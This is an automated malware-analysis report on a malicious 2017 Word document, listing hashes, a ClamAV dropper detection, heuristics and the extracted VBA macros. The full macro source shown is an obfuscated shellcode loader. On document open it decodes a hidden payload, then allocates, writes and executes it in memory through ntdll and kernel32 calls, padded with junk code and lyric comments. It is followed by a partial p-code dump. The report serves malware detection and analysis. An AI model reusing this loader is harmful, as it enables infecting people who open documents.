Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ed0013525892bc6…

MALICIOUS

Office (OLE)

345.0 KB Created: 2017-09-19 14:24:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 31f4df24979a19673acfe90fbccf07ca SHA-1: 8cd74eb0c4b148d2326dcd113322df78696d1084 SHA-256: 4ed0013525892bc6c93b1750a8a9a341911151458c936f5d893e9494e7443de7
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6351423-0, indicating it functions as a dropper. The presence of a Document_Open macro and a GetObject call, combined with VBA p-code execution, strongly suggests that the macro is designed to download and execute a secondary payload. No specific family could be confidently identified.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6351423-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6351423-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set wdApp = GetObject(, "Word.Application")
    Set wdDoc = wdApp.ActiveDocument
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Dim centralized As Byte
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44753 bytes
SHA-256: 8c5a1eca2bfa59e45638179fcfe7194fc80651188ec961a39100b5038c322cfb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True




Sub astute()
Dim momentous As Long
Dim misteach As Long
nephrops.garment.Value = Day(#12/5/2013#)
varday = leisurely = "acanthocytosis"
rape = "refrigeratory"
acquaint = "enwrapped"
ardeidae = altruistically
nephrolepis = "derivational"

spit = "bolographic"
destroy = "cardiopulmonary"
Set bane = nephrops.garment.SelectedItem
machicolation = 20
atakapa = 3716
maria = 106057
 Pmt 0, machicolation, 24027, 11789, 8

dermochelyidae = bane.Name
crimen = 110 - 120 + 7854
crossfire = Right(dermochelyidae, crimen)
autocratically = aforma.hood(crossfire)
polianthes = 105
unexpected = 29630
bovini = 484857
 Pmt 0, polianthes, 14914, 26301, 4

nailhead = "plebe"
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
Dim beau As Integer
Dim bullyboy As LongPtr
Dim caps As LongPtr
Dim gasometer As Variant

Dim aboding As String
Dim sweptwing As LongPtr
Dim unprompted As LongPtr
Dim kisser As LongPtr
balky = 61 - 49 + 2052
#End If
#If (17 * 2 - 3) > 2 And Not (Win64) > (60 - 5 * 12) * 2 Then
Dim megachile As String
Dim caps As Long
Dim lemoncolored As Long
Dim bullyboy As Long

Dim sweptwing As Long
chamaecyparis = 83 - 35 + 733
Dim unprompted As Long
Dim kisser As Long
balky = chamaecyparis + 3459
#End If
balanced = 25 - 39 + 14
crispness = "gungho"
Border = "claret"
bratling = 69 - 94 + 4121
commonality = 90
harpoon = 17388
problem = 119577
 Pmt 0, commonality, 12656, 49234, 2

untapped = "salesperson"
mumbling = cyanobacteria
multipartite = "congregational"
traveled = 74
cystocele = 24270
osmium = 159951
 Pmt 0, traveled, 35490, 50334, 2

chooses = autocratically
frequently = "confirmed"
chorography = "cleistes"
bullyboy = immodesty(chooses)
bouquet = morceau
lethean = "councillorship"
Dim cunningman As Byte
Dim macrobiotic As Long
sweptwing = 1 - 42 + 41
caps = bullyboy + balky
unprompted = 78 - 62 + 201511
kisser = 90 - 78 + 3488
ditto = afril(unprompted, sweptwing, caps)
toaster = 41
irritably = 9495
jenny = 514215
 Pmt 0, toaster, 33326, 19344, 5

End Sub


Private Sub Document_Open()
Dim centralized As Byte
Dim bur As String
singer = "dancer"
antimuon = "commensurate"
astute
churning = 20 + 8
afflictions = 21130 + 5
kinesis = 368440 + 8
 Pmt 0, churning, 6247, 20083, 5
End Sub

Attribute VB_Name = "kob"
'  Baby, without warning
'  But just your sight had my heart storming
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
'  Started talking bout us again
'  From the moment when
Public Declare PtrSafe Function righthand Lib "Kernel32" Alias "CreateTimerQueueTimer" (anomaly As Any, ByVal breadstuff As Any, ByVal fireclay As Any, ByVal fraxinella As Any, ByVal diseased As Any, ByVal blaring As Any, ByVal adige As Any) As Long
'  Baby, without warning
'  If I woulda just layed my drink down
Public Declare PtrSafe Function antihero Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal fallacious As Any, ByVal tantulus As Any, ByVal delonix As Any, ByVal mussolini As Any, ByVal sunburned As Any) As LongPtr
'  And hit me like a hurricane'  Hit me like a hurricane
'  I was doing alright
Public Declare PtrSafe Function fpirtor Lib "ntdll.dll   " Alias _
  "NtAllocateVirtualMemory" (aliphatic As LongPtr, maternally As LongPtr, ByVal egoism As LongPtr, clutteredByVal As LongPtr, aware As LongPtr, ByVal delft As LongPtr) As LongPtr
'  You wrecked my whole world when you came
'  Knew it was gonna be a long night

'  Baby, without warning
'  And hit me like a hurricane
#End If

'  And hit me like a hurricane
Function afril(lst, pirs, lky)
'  You wrecked my whole world when you came
#If (17 * 2 - 3) > 2 And ((60 - 5 * 12) * 2 < (Win64)) Then
Dim pitbuls As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (17 * 2 - 3) > 2 And Not ((60 - 5 * 12) * 2 < (Win64)) Then
Dim pitbuls As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
pitbuls = pirs
deble = lky
dan2 = righthand(lst, pitbuls, deble, pitbuls, pitbuls, pitbuls, pitbuls)
End Function

Attribute VB_Name = "nephrops"
Attribute VB_Base = "0{3616BBFB-A3D3-46FC-BDB6-70D9606DE2C0}{32F916CE-F6C0-4A61-89BF-1FB378033AF5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"

Function immodesty(scab)
Dim clique As Variant
Dim pulsate As Byte
Dim chrysotherapy As Long
Dim dislodge As String
#If (18 * 4 - 4) > 5 And ((65 - 5 * 13) * 4 < (Win64)) Then
Dim runt As Variant
Dim yugoslavian As LongPtr
straggly = 27 - 7 - 12
Dim margravine As LongPtr
Dim disce As Integer
Dim unwillingness As Long
Dim indigene As LongPtr
Dim noncyclic As String
#End If
#If (18 * 4 - 4) > 5 And Not ((65 - 5 * 13) * 4 < (Win64)) Then
Dim yugoslavian As Long
straggly = 115 - 42 - 69
Dim margravine As Long
Dim indigene As Long
#End If
needlewoman = VarPtr(yugoslavian)
quaking = scaphopod(needlewoman, VarPtr(scab) + 8, straggly)
penmanship = 127 - 74 - 54
margravine = 39 - 55 + 16
interpellation = 124 - 11 - 113
indigene = 123 - 42 + 9706
hyperbolically = 64 - 128 + 4160
desole = 128 - 35 - 29
buoy = fpirtor(ByVal penmanship, margravine, ByVal interpellation, indigene, ByVal hyperbolically, ByVal desole)
impracticable = pneumonitis

airintake = "phenotypical"

scaphopod margravine, yugoslavian, (90 - 81 + 5874) * 1
cabstand = (110 + 3) * 1
 VBA.Financial.Pmt 0, cabstand, 18915, 29910, 6

immodesty = margravine
End Function


Function havoc(lamia, dolomite, ophisaurus)
If ophisaurus = (10 + 8) + (10 / 2 - 5) Then
havoc = lamia \ dolomite
ElseIf ophisaurus = (20 + 8) + (5 - 3) / 2 - 1 Then
havoc = lamia And dolomite
ElseIf ophisaurus = (30 + 6) + (56 / 7 - 4 * 2) Then
havoc = lamia * dolomite
End If
End Function



Attribute VB_Name = "aforma"
'  We locked eyes over whiskey on ice
'  If I woulda just layed my drink down
#If (17 * 2 - 3) > 2 And Not (Win64) > (60 - 5 * 12) * 2 Then
'  And hit me like a hurricane
'  You wrecked my whole world when you came
Public Declare Function fpirtor Lib "Ntdll.dll  " Alias _
  "NtAllocateVirtualMemory" (earwitness As Long, academy As Long, ByVal bet As Long, beguilementByVal As Long, subsultus As Long, ByVal crossbill As Long) As Long
'  Then you rolled in with your hair in the wind
'  The moon went hiding, stars quit shining
Public Declare Function antihero Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal advanced As Any, ByVal lacerable As Any, ByVal soothysay As Any, ByVal adelaide As Any, ByVal noctilucent As Any) As Long
'  Then you rolled in with your hair in the wind
'  But you rolled in with your hair in the wind
Public Declare Function righthand Lib "Kernel32" Alias "CreateTimerQueueTimer" (aerodontalgia As Any, ByVal contingents As Any, ByVal attire As Any, ByVal atoms As Any, ByVal epigram As Any, ByVal alderman As Any, ByVal phoenicopteridae As Any) As Long
'  But you rolled in with your hair in the wind
'  But you rolled in with your hair in the wind

'  Hit me like a hurricane
'  And hit me like a hurricane
#End If
'  Baby, without warning
'  If I woulda just layed my drink down





Function hood(ortygan) As String
Dim millibar(63) As Long
Dim adventist As String
Dim marquess As Variant

Dim permutation As Long
Dim floriculture As Integer
Dim capillata As Long
Dim archon(63) As Long
memoriam = memoriam \ 334

Dim bypaths(6962) As Byte
Dim desmidiaceae As Byte

Dim hotness As Long
glutamate = Math.Round(428)

Dim anomalous As Long
Dim cerebrospinal As Byte

pneumonitis = impracticable

Dim eyeglass As Integer

Dim adrift(63) As Long
Dim cypripedia() As Byte
blouse = 42 - 78 + 16515108
Dim lowlander As String

lurker = 50 - 35 + 49
blower = 13 - 6 + 4089
blain = 51 - 18 + 65503
interbred = 90 - 53 + 262107
callirhoe = 78 - 91 + 4045
machinator = 51 - 1 + 13
mentum = 119 - 66 + 202
Dim daedalian As String

consigner = 124 - 50 + 257974
spaniard = 118 - 39 + 65201
elevate = 103 - 126 + 279
Dim moving As String

distributional = 24 - 61 + 16711717
Dim honorableness As Byte
libido = 64 - 28 - 36
jute = 103 - 9 + 7749
Dim egression() As Byte
Dim brogue As Integer
Dim kinosternon As String
egression = VBA.StrConv(ortygan, 128)
Dim parthenon As String
circumambient = 20 + 0
adulator = 2070 + 7
confuted = 437180 + 9
 Pmt 0, circumambient, 28683, 20818, 3

journalist = 7840 + 3
harpullia = vbKeyShift - 12
For abolitionary = (2 - 2) To journalist
If abolitionary Mod 2 = (3 - 3) Then
egression(abolitionary) = egression(abolitionary) - harpullia
Else
egression(abolitionary) = egression(abolitionary) - (harpullia - 1)
End If
Next abolitionary
unsegmentic = 100 + 8
centerfire = 8230 + 3
ibex = 554110 + 7
 Pmt 0, unsegmentic, 18557, 56308, 6

floriculture = 2 - 2
carrefour = 121 - 102 - 19
armillaria = 63 - 52 + 32
anobiidae = filament
For hotness = (7 - 7) * 1 To (50 + 13) * (5 - 4)
millibar(hotness) = havoc(hotness, lurker, 36)
archon(hotness) = havoc(hotness, blower, 36)
adrift(hotness) = havoc(hotness, interbred, 36)
Next hotness
dracunculidae = 80 + 2
cowrie = 26240 + 0
corrective = 593450 + 4
 Pmt 0, dracunculidae, 32578, 44397, 7

cypripedia = egression
quibbler = 108 - 16 - 88
biomedicine = 30 + 3
symbiosis = 11200 + 1
seeds = 416510 + 3
 Pmt 0, biomedicine, 27477, 16811, 8

adapter = 14 - 6 - 5
memoriam = Math.Round(474)

airintake = airintake

cupule = adapter + 1
panama = 28 - 101 + 75
For anomalous = (4 - 4) To journalist
antitypic = cypripedia(anomalous)
centralized = cypripedia(anomalous + 2)
rancidity = archon(anobiidae(cypripedia(anomalous + 1)))
aweless = millibar(anobiidae(centralized)) + anobiidae(cypripedia(anomalous + adapter))
capillata = adrift(anobiidae(antitypic)) + rancidity + aweless
hotness = havoc(capillata, distributional, 28)
bypaths(permutation) = havoc(hotness, blain, 18)
hotness = havoc(capillata, spaniard, 28)
bypaths(permutation + 1) = havoc(hotness, elevate, 18)
bypaths(permutation + panama) = havoc(capillata, mentum, 28)
permutation = permutation + panama + 1
anomalous = anomalous + 3
Next
hood = bypaths
End Function

Function filament()
Dim pondering(255) As Byte
ecstatica = 29 - 104 + 140
Do While ecstatica <= 90 + 1
pondering(ecstatica) = ecstatica - 65
ecstatica = ecstatica + 1
Loop
ecstatica = 48
Do While ecstatica <= 50 + 8
pondering(ecstatica) = ecstatica + 4
ecstatica = ecstatica + 1
Loop
ecstatica = 97
Do While ecstatica <= 120 + 3
pondering(ecstatica) = ecstatica - 71
ecstatica = ecstatica + 1
Loop
pondering(47) = 63
ecstatica = 43
pondering(ecstatica) = 60 + 2
filament = pondering
End Function

Attribute VB_Name = "Module2"
Sub InsertText()
Dim wdApp As Word.Application
Dim wdDoc As Document
Dim wdSln As Selection

Set wdApp = GetObject(, "Word.Application")
Set wdDoc = wdApp.ActiveDocument
Set wdSln = wdApp.Selection

wdDoc.Application.Options.Overtype = False
With wdSln
If .Type = wdSelectionIP Then
.TypeText ("Inserting at insertion point. ")
ElseIf .Type = wdSelectionNormal Then
If wdApp.Options.ReplaceSelection Then
    .Collapse Direction:=wdCollapseStart
End If
.TypeText ("Inserting before a text block. ")
End If
End With
Set wdApp = Nothing
Set wdDoc = Nothing
End Sub
Function scaphopod(castrato, grounder, deixis)
#If (18 * 4 - 4) > 5 And ((65 - 5 * 13) * 4 < (Win64)) Then
Dim demonstration As Integer
Dim conduce As String
Dim bronchiolitis As LongPtr
Dim inflexibly As LongPtr
Dim bootlicking As LongPtr
Dim meminisse As Variant
Dim turki As LongPtr
Dim apart As LongPtr
#End If
#If (18 * 4 - 4) > 5 And Not ((65 - 5 * 13) * 4 < (Win64)) Then
Dim inflexibly As Long
Dim jamaican As Variant
Dim bronchiolitis As Long
Dim hatchback As String
Dim turki As Long
Dim oolong As String
Dim bootlicking As Long
Dim selfpunishment As String
Dim apart As Long
Dim notomys As Long
Dim castigation As String
#End If
airintake = pneumonitis
impenetrability = Fix(238)
inflexibly = castrato
apart = deixis
memoriam = Math.Round(258)
turki = grounder
bullbrier = 113
hermaphroditic = 20894
delft = 330545
 Pmt 0, bullbrier, 14021, 13888, 6

pneumonitis = "motif"
bronchiolitis = 90 - 42 - 49
antihero ByVal bronchiolitis, inflexibly, turki, apart, bootlicking
glutamate = Fix(470)
End Function
Sub range()
Dim rngFirstList As range
Set rngFirstList = ActiveDocument.Lists(1).range
ActiveDocument.Windows(1).ScrollIntoView Obj:=rngFirstList, Start:=False
rngFirstList.Select
Selection.Collapse Direction:=wdCollapseEnd
Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdMove
End Sub

' Processing file: /opt/analyzer/scan_staging/2480fd083cad4068a06c0cf5b609a65b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7958 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' 	FuncDefn (Sub astute())
' Line #5:
' 	Dim 
' 	VarDefn momentous (As Long)
' Line #6:
' 	Dim 
' 	VarDefn misteach (As Long)
' Line #7:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld nephrops 
' 	MemLd garment 
' 	MemSt Value 
' Line #8:
' 	Ld leisurely 
' 	LitStr 0x000E "acanthocytosis"
' 	Eq 
' 	St varday 
' Line #9:
' 	LitStr 0x000D "refrigeratory"
' 	St rape 
' Line #10:
' 	LitStr 0x0009 "enwrapped"
' 	St acquaint 
' Line #11:
' 	Ld altruistically 
' 	St ardeidae 
' Line #12:
' 	LitStr 0x000C "derivational"
' 	St nephrolepis 
' Line #13:
' Line #14:
' 	LitStr 0x000B "bolographic"
' 	St spit 
' Line #15:
' 	LitStr 0x000F "cardiopulmonary"
' 	St destroy 
' Line #16:
' 	SetStmt 
' 	Ld nephrops 
' 	MemLd garment 
' 	MemLd SelectedItem 
' 	Set bane 
' Line #17:
' 	LitDI2 0x0014 
' 	St machicolation 
' Line #18:
' 	LitDI2 0x0E84 
' 	St atakapa 
' Line #19:
' 	LitDI4 0x9E49 0x0001 
' 	St maria 
' Line #20:
' 	LitDI2 0x0000 
' 	Ld machicolation 
' 	LitDI2 0x5DDB 
' 	LitDI2 0x2E0D 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #21:
' Line #22:
' 	Ld bane 
' 	MemLd Name 
' 	St dermochelyidae 
' Line #23:
' 	LitDI2 0x006E 
' 	LitDI2 0x0078 
' 	Sub 
' 	LitDI2 0x1EAE 
' 	Add 
' 	St crimen 
' Line #24:
' 	Ld dermochelyidae 
' 	Ld crimen 
' 	ArgsLd Right 0x0002 
' 	St crossfire 
' Line #25:
' 	Ld crossfire 
' 	Ld Module2 
' 	ArgsMemLd hood 0x0001 
' 	St autocratically 
' Line #26:
' 	LitDI2 0x0069 
' 	St polianthes 
' Line #27:
' 	LitDI2 0x73BE 
' 	St unexpected 
' Line #28:
' 	LitDI4 0x65F9 0x0007 
' 	St bovini 
' Line #29:
' 	LitDI2 0x0000 
' 	Ld polianthes 
' 	LitDI2 0x3A42 
' 	LitDI2 0x66BD 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #30:
' Line #31:
' 	LitStr 0x0005 "plebe"
' 	St nailhead 
' Line #32:
' 	LbMark 
' 	LitDI2 0x0011 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x003C 
' 	LitDI2 0x0005 
' 	LitDI2 0x000C 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	And 
' 	LbIf 
' Line #33:
' 	Dim 
' 	VarDefn beau (As Integer)
' Line #34:
' 	Dim 
' 	VarDefn bullyboy (As Ptr)
' Line #35:
' 	Dim 
' 	VarDefn caps (As Ptr)
' Line #36:
' 	Dim 
' 	VarDefn gasometer (As Variant)
' Line #37:
' Line #38:
' 	Dim 
' 	VarDefn aboding (As String)
' Line #39:
' 	Dim 
' 	VarDefn sweptwing (As Ptr)
' Line #40:
' 	Dim 
' 	VarDefn unprompted (As Ptr)
' Line #41:
' 	Dim 
' 	VarDefn kisser (As Ptr)
' Line #42:
' 	LitDI2 0x003D 
' 	LitDI2 0x0031 
' 	Sub 
' 	LitDI2 0x0804 
' 	Add 
' 	St balky 
' Line #43:
' 	LbMark 
' 	LbEndIf 
' Line #44:
' 	LbMark 
' 	LitDI2 0x0011 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x003C 
' 	LitDI2 0x0005 
' 	LitDI2 0x000C 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	Not 
' 	And 
' 	LbIf 
' Line #45:
' 	Dim 
' 	VarDefn megachile (As String)
' Line #46:
' 	Dim 
' 	VarDefn caps (As Long)
' Line #47:
' 	Dim 
' 	VarDefn lemoncolored (As Long)
' Line #48:
' 	Dim 
' 	VarDefn bullyboy (As Long)
' Line #49:
' Line #50:
' 	Dim 
' 	VarDefn sweptwing (As Long)
' Line #51:
' 	LitDI2 0x0053 
' 	LitDI2 0x0023 
' 	Sub 
' 	LitDI2 0x02DD 
' 	Add 
' 	St chamaecyparis 
' Line #52:
' 	Dim 
' 	VarDefn unprompted (As Long)
' Line #53:
' 	Dim 
' 	VarDefn kisser (As Long)
' Line #54:
' 	Ld chamaecyparis 
' 	LitDI2 0x0D83 
' 	Add 
' 	St balky 
' Line #55:
' 	LbMark 
' 	LbEndIf 
' Line #56:
' 	LitDI2 0x0019 
' 	LitDI2 0x0027 
' 	Sub 
' 	LitDI2 0x000E 
' 	Add 
' 	St balanced 
' Line #57:
' 	LitStr 0x0006 "gungho"
' 	St crispness 
' Line #58:
' 	LitStr 0x0006 "claret"
' 	St Border 
' Line #59:
' 	LitDI2 0x0045 
' 	LitDI2 0x005E 
' 	Sub 
' 	LitDI2 0x1019 
' 	Add 
' 	St bratling 
' Line #60:
' 	LitDI2 0x005A 
' 	St commonality 
' Line #61:
' 	LitDI2 0x43EC 
' 	St harpoon 
' Line #62:
' 	LitDI4 0xD319 0x0001 
' 	St problem 
' Line #63:
' 	LitDI2 0x0000 
' 	Ld commonality 
' 	LitDI2 0x3170 
' 	LitDI4 0xC052 0x0000 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #64:
' Line #65:
' 	LitStr 0x000B "salesperson"
' 	St untapped 
' Line #66:
' 	Ld cyanobacteria 
' 	St mumbling 
' Line #67:
' 	LitStr 0x000E "congregational"
' 	St multipartite 
' Line #68:
' 	LitDI2 0x004A 
' 	St traveled 
' Line #69:
' 	LitDI2 0x5ECE 
' 	St cystocele 
' Line #70:
' 	LitDI4 0x70CF 0x0002 
' 	St osmium 
' Line #71:
' 	LitDI2 0x0000 
' 	Ld traveled 
' 	LitDI4 0x8AA2 0x0000 
' 	LitDI4 0xC49E 0x0000 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #72:
' Line #73:
' 	Ld autocratically 
' 	St chooses 
' Line #74:
' 	LitStr 0x0009 "confirmed"
' 	St frequently 
' Line #75:
' 	LitStr 0x0008 "cleistes"
' 	St chorography 
' Line #76:
' 	Ld chooses 
' 	ArgsLd immodesty 0x0001 
' 	St bullyboy 
' Line #77:
' 	Ld morceau 
' 	St bouquet 
' Line #78:
' 	LitStr 0x000E "councillorship"
' 	St lethean 
' Line #79:
' 	Dim 
' 	VarDefn cunningman (As Byte)
' Line #80:
' 	Dim 
' 	VarDefn macrobiotic (As Long)
' Line #81:
' 	LitDI2 0x0001 
' 	LitDI2 0x002A 
' 	Sub 
' 	LitDI2 0x0029 
' 	Add 
' 	St sweptwing 
' Line #82:
' 	Ld bullyboy 
' 	Ld balky 
' 	Add 
' 	St caps 
' Line #83:
' 	LitDI2 0x004E 
' 	LitDI2 0x003E 
' 	Sub 
' 	LitDI4 0x1327 0x0003 
' 	Add 
' 	St unprompted 
' Line #84:
' 	LitDI2 0x005A 
' 	LitDI2 0x004E 
' 	Sub 
' 	LitDI2 0x0DA0 
' 	Add 
' 	St kisser 
' Line #85:
' 	Ld unprompted 
' 	Ld sweptwing 
' 	Ld caps 
' 	ArgsLd wdCollapseStart 0x0003 
' 	St ditto 
' Line #86:
' 	LitDI2 0x0029 
' 	St toaster 
' Line #87:
' 	LitDI2 0x2517 
' 	St irritably 
' Line #88:
' 	LitDI4 0xD8A7 0x0007 
' 	St jenny 
' Line #89:
' 	LitDI2 0x0000 
' 	Ld toaster 
' 	LitDI4 0x822E 0x0000 
' 	LitDI2 0x4B90 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #90:
' Line #91:
' 	EndSub 
' Line #92:
' Line #93:
' Line #94:
' 	FuncDefn (Sub Document_Open())
' Line #95:
' 	Dim 
' 	VarDefn centralized (As Byte)
' Line #96:
' 	Dim 
' 	VarDefn bur (As String)
' Line #97:
' 	LitStr 0x0006 "dancer"
' 	St singer 
' Line #98:
' 	LitStr 0x000C "commensurate"
' 	St antimuon 
' Line #99:
' 	ArgsCall astute 0x0000 
' Line #100:
' 	LitDI2 0x0014 
' 	LitDI2 0x0008 
' 	Add 
' 	St churning 
' Line #101:
' 	LitDI2 0x528A 
' 	LitDI2 0x0005 
' 	Add 
' 	St afflictions 
' Line #102:
' 	LitDI4 0x9F38 0x0005 
' 	LitDI2 0x0008 
' 	Add 
' 	St kinesis 
' Line #103:
' 	LitDI2 0x0000 
' 	Ld churning 
' 	LitDI2 0x1867 
' 	LitDI2 0x4E73 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #104:
' 	EndSub 
' Macros/VBA/kob - 7358 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #1:
' 	QuoteRem 0x0000 0x002B "  But just your sight had my heart storming"
' Line #2:
' 	LbMark 
' 	LitDI2 0x0011 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x003C 
' 	LitDI2 0x0005 
' 	LitDI2 0x000C 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	And 
' 	LbIf 
' Line #3:
' 	QuoteRem 0x0000 0x001F "  Started talking bout us again"
' Line #4:
' 	QuoteRem 0x0000 0x0016 "  From the moment when"
' Line #5:
' 	FuncDefn (Public Function righthand(anomaly As ) As Long)
' Line #6:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #7:
' 	QuoteRem 0x0000 0x0026 "  If I woulda just layed my drink down"
' Line #8:
' 	FuncDefn (Public Function antihero(ByVal fallacious As ) As Ptr)
' Line #9:
' 	QuoteRem 0x0000 0x0037 "  And hit me like a hurricane'  Hit me like a hurricane"
' Line #10:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #11:
' 	LineCont 0x0004 08 00 02 00
' 	FuncDefn (Public Function ntdll.dll   () As Ptr)
' Line #12:
' 	QuoteRem 0x0000 0x002A "  You wrecked my whole world when you came"
' Line #13:
' 	QuoteRem 0x0000 0x0023 "  Knew it was gonna be a long night"
' Line #14:
' Line #15:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #16:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #17:
' 	LbMark 
' 	LbEndIf 
' Line #18:
' Line #19:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #20:
' 	FuncDefn (Function wdCollapseStart(afril))
' Line #21:
' 	QuoteRem 0x0000 0x002A "  You wrecked my whole world when you came"
' Line #22:
' 	LbMark 
' 	LitDI2 0x0011 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Gt 
' 	LitDI2 0x003C 
' 	LitDI2 0x0005 
' 	LitDI2 0x000C 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Paren 
' 	And 
' 	LbIf 
' Line #23:
' 	Dim 
' 	VarDefn lky (As Ptr)
' Line #24:
' 	Dim 
' 	VarDefn pitbuls (As Ptr)
' Line #25:
' 	Dim 
' 	VarDefn bis (As Integer)
' Line #26:
' 	Dim 
' 	VarDefn ority (As Ptr)
' Line #27:
' 	LbMark 
' 	LbEndIf 
' Line #28:
' 	LbMark 
' 	LitDI2 0x0011 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Gt 
' 	LitDI2 0x003C 
' 	LitDI2 0x0005 
' 	LitDI2 0x000C 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Paren 
' 	Not 
' 	And 
' 	LbIf 
' Line #29:
…